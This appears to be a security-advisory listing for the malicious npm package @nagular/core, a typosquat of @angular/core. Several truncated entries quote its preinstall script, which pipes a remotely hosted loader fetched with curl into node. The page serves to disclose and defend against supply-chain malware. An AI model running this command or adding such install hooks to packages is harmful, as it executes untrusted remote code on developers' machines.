Malicious Package

Overview @nagular/core is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package...

Malicious code in @nagular/core (npm)

Source: amazon-inspector 5ac4933487fc7ccf7161933c9d5f6965b5e1f0a3efeaf8ea5349096835008557 The package's package.json declares a preinstall lifecycle script that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching ...

Malicious code in @nagular/core (npm)

@nagular/[email protected] impersonates @angular/core by name only; its code is an unrelated library described as "Core Libs" and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...

MAL-2026-17499 Malicious code in @nagular/core (npm)

@nagular/[email protected] impersonates @angular/core by name only; its code is an unrelated library described as "Core Libs" and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L...